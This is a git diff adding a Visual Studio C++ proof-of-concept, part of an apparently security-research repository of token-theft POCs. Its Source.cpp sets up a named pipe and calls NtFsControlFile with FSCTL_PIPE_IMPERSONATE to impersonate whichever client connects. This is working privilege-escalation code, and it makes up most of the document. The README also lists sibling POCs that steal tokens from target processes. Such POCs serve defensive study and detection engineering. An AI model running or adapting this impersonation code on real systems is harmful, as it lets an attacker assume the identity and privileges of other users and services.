diff --git a/NtfsControlFile/.vs/NtfsControlFile/FileContentIndex/b428643a-c8c9-4b5d-ab24-a75aefbec924.vsidx b/NtfsControlFile/.vs/NtfsControlFile/FileContentIndex/b428643a-c8c9-4b5d-ab24-a75aefbec924.vsidx new file mode 100644 index 0000000..c33a181 Binary files /dev/null and b/NtfsControlFile/.vs/NtfsControlFile/FileContentIndex/b428643a-c8c9-4b5d-ab24-a75aefbec924.vsidx differ diff --git a/NtfsControlFile/.vs/NtfsControlFile/FileContentIndex/read.lock b/NtfsControlFile/.vs/NtfsControlFile/FileContentIndex/read.lock new file mode 100644 index 0000000..e69de29 diff --git a/NtfsControlFile/.vs/NtfsControlFile/v17/.suo b/NtfsControlFile/.vs/NtfsControlFile/v17/.suo new file mode 100644 index 0000000..33b8442 Binary files /dev/null and b/NtfsControlFile/.vs/NtfsControlFile/v17/.suo differ diff --git a/NtfsControlFile/.vs/NtfsControlFile/v17/Browse.VC.db b/NtfsControlFile/.vs/NtfsControlFile/v17/Browse.VC.db new file mode 100644 index 0000000..7adaa41 Binary files /dev/null and b/NtfsControlFile/.vs/NtfsControlFile/v17/Browse.VC.db differ diff --git a/NtfsControlFile/.vs/NtfsControlFile/v17/ipch/AutoPCH/7469c6c6215da3b4/SOURCE.ipch b/NtfsControlFile/.vs/NtfsControlFile/v17/ipch/AutoPCH/7469c6c6215da3b4/SOURCE.ipch new file mode 100644 index 0000000..257f001 Binary files /dev/null and b/NtfsControlFile/.vs/NtfsControlFile/v17/ipch/AutoPCH/7469c6c6215da3b4/SOURCE.ipch differ diff --git a/NtfsControlFile/.vs/NtfsControlFile/v17/ipch/AutoPCH/8ecd9768f82f1426/SOURCE.ipch b/NtfsControlFile/.vs/NtfsControlFile/v17/ipch/AutoPCH/8ecd9768f82f1426/SOURCE.ipch new file mode 100644 index 0000000..636919c Binary files /dev/null and b/NtfsControlFile/.vs/NtfsControlFile/v17/ipch/AutoPCH/8ecd9768f82f1426/SOURCE.ipch differ diff --git a/NtfsControlFile/NtfsControlFile.sln b/NtfsControlFile/NtfsControlFile.sln new file mode 100644 index 0000000..d69d631 --- /dev/null +++ b/NtfsControlFile/NtfsControlFile.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.3.32901.215 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NtfsControlFile", "NtfsControlFile.vcxproj", "{817DA822-0DC1-4288-8525-39192D75BE2E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {817DA822-0DC1-4288-8525-39192D75BE2E}.Debug|x64.ActiveCfg = Debug|x64 + {817DA822-0DC1-4288-8525-39192D75BE2E}.Debug|x64.Build.0 = Debug|x64 + {817DA822-0DC1-4288-8525-39192D75BE2E}.Debug|x86.ActiveCfg = Debug|Win32 + {817DA822-0DC1-4288-8525-39192D75BE2E}.Debug|x86.Build.0 = Debug|Win32 + {817DA822-0DC1-4288-8525-39192D75BE2E}.Release|x64.ActiveCfg = Release|x64 + {817DA822-0DC1-4288-8525-39192D75BE2E}.Release|x64.Build.0 = Release|x64 + {817DA822-0DC1-4288-8525-39192D75BE2E}.Release|x86.ActiveCfg = Release|Win32 + {817DA822-0DC1-4288-8525-39192D75BE2E}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {DE2533A7-98F1-4DFF-8E5F-5CD825C63E3E} + EndGlobalSection +EndGlobal diff --git a/NtfsControlFile/NtfsControlFile.vcxproj b/NtfsControlFile/NtfsControlFile.vcxproj new file mode 100644 index 0000000..84565f6 --- /dev/null +++ b/NtfsControlFile/NtfsControlFile.vcxproj @@ -0,0 +1,135 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {817da822-0dc1-4288-8525-39192d75be2e} + NtfsControlFile + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/NtfsControlFile/NtfsControlFile.vcxproj.filters b/NtfsControlFile/NtfsControlFile.vcxproj.filters new file mode 100644 index 0000000..3e7e62e --- /dev/null +++ b/NtfsControlFile/NtfsControlFile.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/NtfsControlFile/NtfsControlFile.vcxproj.user b/NtfsControlFile/NtfsControlFile.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/NtfsControlFile/NtfsControlFile.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/NtfsControlFile/Source.cpp b/NtfsControlFile/Source.cpp new file mode 100644 index 0000000..947ac5e --- /dev/null +++ b/NtfsControlFile/Source.cpp @@ -0,0 +1,156 @@ +/* Author: Jonathan Johnson (@jsecurity101) +* Execute: NtfsControlFile.exe then connect to named pipe \\pipe\npfs +*/ + +#include +#include +#include +#include +#include + + +#define FSCTL_PIPE_IMPERSONATE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 7, METHOD_BUFFERED, FILE_ANY_ACCESS) + + +#define BUFSIZE 2048 +#define INSTANCES 4 + +typedef struct +{ + OVERLAPPED oOverlap; + HANDLE hPipeInst; + TCHAR chRequest[BUFSIZE]; + DWORD cbRead; + TCHAR chReply[BUFSIZE]; + DWORD cbToWrite; + DWORD dwState; + BOOL fPendingIO; +} PIPEINST, * LPPIPEINST; + + +typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + }; + ULONG_PTR Information; +} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; + +typedef enum _EVENT_TYPE { + NotificationEvent, + SynchronizationEvent +} EVENT_TYPE; + +typedef VOID(*PIO_APC_ROUTINE)( + __in PVOID ApcContext, + __in PIO_STATUS_BLOCK IoStatusBlock, + __in ULONG Reserved + ); + +typedef NTSTATUS(*_NtFsControlFile)( + HANDLE FileHandle, + HANDLE Event, + PIO_APC_ROUTINE ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + ULONG FsControlCode, + PVOID InputBuffer, + ULONG InputBufferLength, + PVOID OutputBuffer, + ULONG OutputBufferLength + ); + +int main() { + HANDLE hPipe = NULL; + DWORD i, dwRead; + TCHAR chBuf[BUFSIZE]; + TCHAR username[UNLEN + 1]; + DWORD username_len = UNLEN + 1; + if (!GetUserName(username, &username_len)) + { + printf("GetUserName Failed (%d).\n", GetLastError()); + DisconnectNamedPipe(hPipe); + CloseHandle(hPipe); + return 1; + } + else + { + std::wstring username_w(username); + std::string username_s(username_w.begin(), username_w.end()); + std::cout << "[*] Current username is: " << username_s << "\n"; + } + printf("[*] Creating named pipe npfs...\n"); + hPipe = CreateNamedPipe(L"\\\\.\\pipe\\npfs", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, NULL); + + if (hPipe == INVALID_HANDLE_VALUE) + { + printf("[-] CreateNamedPipe failed: (%d).\n", GetLastError()); + return 1; + } + else + { + printf("[*] Named pipe created!\n"); + printf("[*] Waiting for client to connect...\n"); + + if (!ConnectNamedPipe(hPipe, NULL)) { + printf("[-] ConnectNamedPipe failed: (%d).\n", GetLastError()); + CloseHandle(hPipe); + return 1; + } + else { + printf("[*] Client connected to named pipe!\n"); + if (!ReadFile(hPipe, chBuf, BUFSIZE * sizeof(TCHAR), &dwRead, NULL)) { + printf("[-] ReadFile failed: (%d).\n", GetLastError()); + DisconnectNamedPipe(hPipe); + CloseHandle(hPipe); + return 1; + } + else { + printf("[*] ReadFile completed!\n"); + _NtFsControlFile NtFsControlFile = (_NtFsControlFile)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtFsControlFile"); + if (NtFsControlFile == NULL) { + printf("[-] NtFsControlFile not found!\n"); + DisconnectNamedPipe(hPipe); + CloseHandle(hPipe); + return 1; + } + else { + printf("[*] NtFsControlFile found!\n"); + } + + + IO_STATUS_BLOCK ioStatusBlock; + NTSTATUS status = NtFsControlFile(hPipe, NULL, NULL, NULL, &ioStatusBlock, FSCTL_PIPE_IMPERSONATE, NULL, 0, NULL, 0); + if (status != 259) { + printf("[-] NtFsControlFile failed: (%d).\n", GetLastError()); + DisconnectNamedPipe(hPipe); + CloseHandle(hPipe); + return 1; + + } + else { + WaitForSingleObject(hPipe, INFINITE); + printf("[*] NtFsControlFile completed!\n"); + if (!GetUserName(username, &username_len)) + { + printf("GetUserName Failed (%d).\n", GetLastError()); + DisconnectNamedPipe(hPipe); + CloseHandle(hPipe); + return 1; + } + else + { + std::wstring username_w(username); + std::string username_s(username_w.begin(), username_w.end()); + printf("[*] Current username is: %s\n", username_s.c_str()); + } + } + + } + } + DisconnectNamedPipe(hPipe); + CloseHandle(hPipe); + } + + return 0; +} \ No newline at end of file diff --git a/README.md b/README.md index 7fda1a6..1fa3d5d 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,13 @@ # RandomPOCs -Repo that holds random POCs +This repository holds POCs I have created for projects, blogs, etc. + + + +## POCs: + + +| POC | Description | +| --- | ---- | +| ImpersonateLoggedOnUser | Steals token from a targetted process and sets token to current thread via ImpersonateLoggedOnUser | +| SetThreadToken | Steals token from a targetted process and sets token to current thread via SetThreadToken | +| NtfsControlFile | Performs named pipe impersonation by creating a named pipe - `\\.\pipe\npfs` and taking the clients token by calling NtfsControlFile|